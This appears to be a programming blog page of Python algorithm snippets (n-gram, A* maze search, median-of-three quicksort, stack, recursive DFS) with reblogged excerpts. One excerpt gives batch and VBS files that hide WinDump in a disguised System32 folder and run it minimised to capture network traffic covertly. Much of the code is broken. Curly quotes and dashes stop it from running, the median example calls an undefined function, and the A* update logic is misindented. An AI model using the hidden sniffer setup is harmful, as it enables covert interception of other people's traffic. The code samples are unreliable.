n-gram – Python implementation

More info: http://en.wikipedia.org/wiki/N-gram

def n_gram(string, size = 1):
          “””
          [string[i:] for i in range(size)]
          generates: ‘hi there’,’i there’, ‘ there’
          zip(*’hi there’,’i there’, ‘ there’)
          generates:[(‘h’, ‘i’, ‘ ‘), (‘i’, ‘ ‘, ‘t’),
            (‘ ‘, ‘t’, ‘h’), (‘t’, ‘h’, ‘e’),
            (‘h’, ‘e’, ‘r’), (‘e’, ‘r’, ‘e’)]
          “””
          ngram = zip(*[string[i:] for i in range(size)])
          return [”.join(i) for i in ngram]
n_gram(“hi there” ,size=3)

Parallel MapReduce in Python in Ten Minutes

MapReduce in Python

Cvet's Blog

Almost everyone has heard of Google’s MapReduce framework, but very few have ever hacked around with the idea of map and reduce. These two idioms are borrowed from functional programming, and form the basis of Google’s framework. Although Python is not a functional programming language, it has built-in support for both of these concepts.

A map operation involves taking a function f and applying it on a per-element basis to a given list L. For example, if f was the square-root function, then the map would take the square of each element in L. A reduce operation (also known as folding) is similar in that it also applies a function g to a given list L, but instead of isolating on each element, g systematically accumulates or collapses the contents of L into a single result. The canonical example of this would g performing a…

View original post 876 more words

Skip Lists in Python

Great post for implementing skip list in python.

NP-Incompleteness

Skip list is a probabilistic data structure that allows efficient search, insertion and removal operations. It was invented by William Pugh [1] in 1989.

Other structures that have efficient operations are self-balancing binary trees, such as AVL, Red-black and splay tree. But they are often considered difficult to implement.

On the other hand, skip lists are much like multiple linked lists with some randomization.

In the first level, we have a regular linked list with the elements sorted. Each element of this list has a probability $latex p$ to be also present in the level above. The second level will probably contain fewer elements and each of these elements will also have a chance $latex p$ to be on the third level, and so on. Figure 1 shows an example of a skip list.

We’ll implement a simple version of the skip list in python. To start, we define a…

View original post 1,235 more words

A* (A-star) python implementation

Original implementation from: http://www.laurentluce.com/posts/solving-mazes-using-python-simple-recursivity-and-a-search/

This is just modified for my test cases.
class Cell:
          def __init__(self,x, y, wall):
                    self.x = x
                    self.y = y
                    self.wall = wall
                    self.h = 0
                    self.g = 0
                    self.f = 0
class Astar:
          def __init__(self):
                    self.cells = []
                    self.open_list = []
                    self.closed_list = []
          def make_maze(self, maze):
                    self.__init__()
                    self.maze_width = len(maze[0])
                    self.maze_height = len(maze)
                    for i in range(self.maze_height):
                              for j in range(self.maze_width):
                                        wall = False
                                        if maze[i][j] == ‘#’:
                                                  wall = True
                                        if maze[i][j] == ‘X’:
                                                  end = (i, j)
                                        if maze[i][j] == ‘T’:
                                                  start = (i, j)
                                        self.cells.append(Cell(i, j, wall))
                    self.start = self.get_cell(start[0], start[1])
                    self.end = self.get_cell(end[0], end[1])
                    self.process()
                    self.show()
          def get_cell(self, x, y):
                    return self.cells[x * self.maze_width + y]
          def get_adjc(self, cell):
                    cells = []
                    if cell.x > 0:
                              cells.append(self.get_cell(cell.x-1,cell.y))
                    if cell.y > 0:
                              cells.append(self.get_cell(cell.x,cell.y-1))
                    if cell.x < self.maze_height – 1:
                              cells.append(self.get_cell(cell.x+1,cell.y))
                    if cell.y < self.maze_height – 1:
                              cells.append(self.get_cell(cell.x,cell.y+1))
                    return cells
          def update_cell(self, adjc, cell):
                    adjc.parent = cell
                    adjc.g = cell.g + 10
                    adjc.h = self.heur(adjc)
                    adjc.f = adjc.h + adjc.g
          def heur(self, cell):
                    return 10 * (abs(cell.x – self.end.x) + abs(cell.y – self.end.y))
          def process(self):
                    self.open_list.append((self.start.f, self.start))
                    while self.open_list:
                              f, cell = min(self.open_list)
                              self.open_list.remove((f, cell))
                              if cell is self.end:
                                        break
                              self.closed_list.append(cell)
                              adjc = self.get_adjc(cell)
                              for c in adjc:
                                        if not c.wall and c not in self.closed_list:
                                                  if (c.f, c) in self.open_list:
                                                            if c.g > cell.g + 10:
                                                                      self.update_cell(c, cell)
                                                            else:
                                                                      self.update_cell(c, cell)
                                                                      self.open_list.append((c.f, c))
          def show(self):
                    print
                    for i in range(self.maze_height):
                              for j in range(self.maze_width):
                                        cell = self.get_cell(i, j)
                                        if cell.x == self.start.x and cell.y == self.start.y:
                                                  print ‘T’,
                                        else:
                                                  if cell.x == self.end.x and cell.y == self.end.y:
                                                            print ‘X’,
                                                  else:
                                                            if cell.wall:
                                                                      print ‘#’,
                                                            else:
                                                                      if cell.g:
                                                                                print ‘!’,
                                                                      else:
                                                                                print ‘.’,
                    print
a = Astar()
a.make_maze([“X……..”,”.#…….”,”………”,”……..#”,”.##..##..”,”.#..#….”,”.#.###…”,”##..#..#.”,”.T.#..#..”]) # 8
a.make_maze([“……….”,”#.##…##.”,”..###.#…”,”.#.#.#..##”,”.#…..#..”,”..##.#..#.”,”#..T#.#.#.”,”..#X#…#.”,”..#.#..##.”,”…#……”]) # 1
a.make_maze([“#..#…#..”,”..#.X#..#.”,”.#…T#.#.”,”…##.#.#.”,”.##…#…”,”.#..#..##.”,”….##….”]) # 2
a.make_maze([“#…..”,”..##.#”,”.#….”,”..#T..”,”.#..#X”,”.###..”,”…#.#”,”.#….”]) # 3
a.make_maze([“#………”,”..###…#.”,”.#…###T.”,”…#.X….”,”.###..#…”,”.#..###.##”,”…#……”]) # 4
a.make_maze([“…#…#.”,”.##..#…”,”…#….#”,”.#.###..#”,”.#.T..#..”,”.####..X.”,”……#..”,”.#.#….#”]) # 5
a.make_maze([“…..#”,”.#.#..”,”..#.#.”,”#.#…”,”…##X”,”.#.#..”,”#..#..”,”..T…”,”.#.##.”,”……”]) # 6
a.make_maze([“#.#……”,”..#.###.#”,”.#..#..X.”,”…#.#…”,”.##….#.”,”.#.#.#…”,”….T..#.”,”###…##.”,”….#….”]) # 7
a.make_maze([“##…”,”#T.#.”,”..#..”,”.#…”,”..X#.”,”.##..”]) # -1
a.make_maze([“…..#.”,”.##.#..”,”#T….#”,”..##…”,”.#…#.”,”.#.#.#.”,”…#X.#”]) # -1
#a.display_path()

Ownagezone

Make two bat files with the following names:

Start.bat:

MKDIR %windir%\System32\sys_net\
COPY WinDump.exe C:\Windows\System32\sys_net\
START "Start" /Min as.vbs

Stop.bat:
TASKKILL /IM WinDump.exe
COPY C:\Windows\System32\sys_net\ass.pcap %CD%\ass.pcap
DEL C:\Windows\System32\sys_net\ass.pcap

And the as.vbs file:

Set objShell = CreateObject("WScript.Shell")
objShell.run("C:\Windows\System32\sys_net\WinDump.exe -w C:\Windows\System32\sys_net\ass.pcap")…

This is if you want the program to run in background.

Activate start and stop bat files and investigate what will happen.

View original post 1 more word

Quick-sort “median-of-three” – Python implementation

def swap(array,a,b):
    array[a],array[b] = array[b],array[a]
def partition(array,start,end):
    median = (end – 1 – start) / 2
    median = median + start
    left = start + 1
    if (array[median] – array[end-1])*(array[start]-array[median]) >= 0:
        swap(array,start,median)
    elif (array[end – 1] – array[median]) * (array[start] – array[end – 1]) >=0:
         swap(array,start,end – 1)
    pivot = array[start]
    for right in range(start,end):
        if pivot > array[right]:
            swap(array,left,right)
            left = left + 1
    swap(array,start,left-1)
    return left-1
def quickSortHelper(array,start,end):
    if start < end:
        splitPoint = partition(array,start,end)
        quickSortHelper(array,start,splitPoint)
        quickSortHelper(array,splitPoint+1,end)
def quickSort(array):
    quickSortHelper(array,0,len(array))
if __name__ == “__main__”:
    array = list(xrange(10))
    array.reverse()
    quickSort(array)
    print array

 

For finding “median-of-three” visit the following link:

Stack v2.0 – Python implementation

Since the version in the previous post sucks i have posted a new version of stack implementation. Note: Use built in version for max performances.
 

class Stack:
    def __init__(self):
        self.items = []
    def pop(self):
        return self.items.pop()
    def push(self,element):
        self.items.append(element)
    def isEmpty(self):
        return self.items == []
    def size(self):
        return len(self.items)
    def top(self):
        return self.items[len(self.items) – 1]
    def show(self):
        print self.items
s = Stack()
s.push(1)
s.push(55)
print s.top()
s.show()
s.pop()
s.show()
print s.top()

Finding “median-of-three” with two comparisons – Python implementation

def find_median(a,b,c):
    # (A-B)*(C-A) >= 0
    if (a – b)*(c-a) >= 0:
        return a
        #A
    # (B – A)*(C-B) >=0
    elif (b – a) * (c – b) >=0:
        return b
        #B
    else:
        #C
        return c
a = 1
b = 3
c = 7
print find(a,b,c)
a = 1
b = 6
c = 2
print find(a,b,c)

Depth-first search (DFS) recursive – Python implementation

def dfs_rec(graph,start,path = []):
    path = path + [start]
    for edge in graph[start]:
        if edge not in path:
            path = dfs_rec(graph, edge,path)
    return path
graph = {1: [2, 3],
         2: [1, 4, 5, 6],
         3: [1, 4],
         4: [2, 3, 5],
         5: [2, 4, 6],
         6: [2, 5]}
print dfs_rec(graph,1)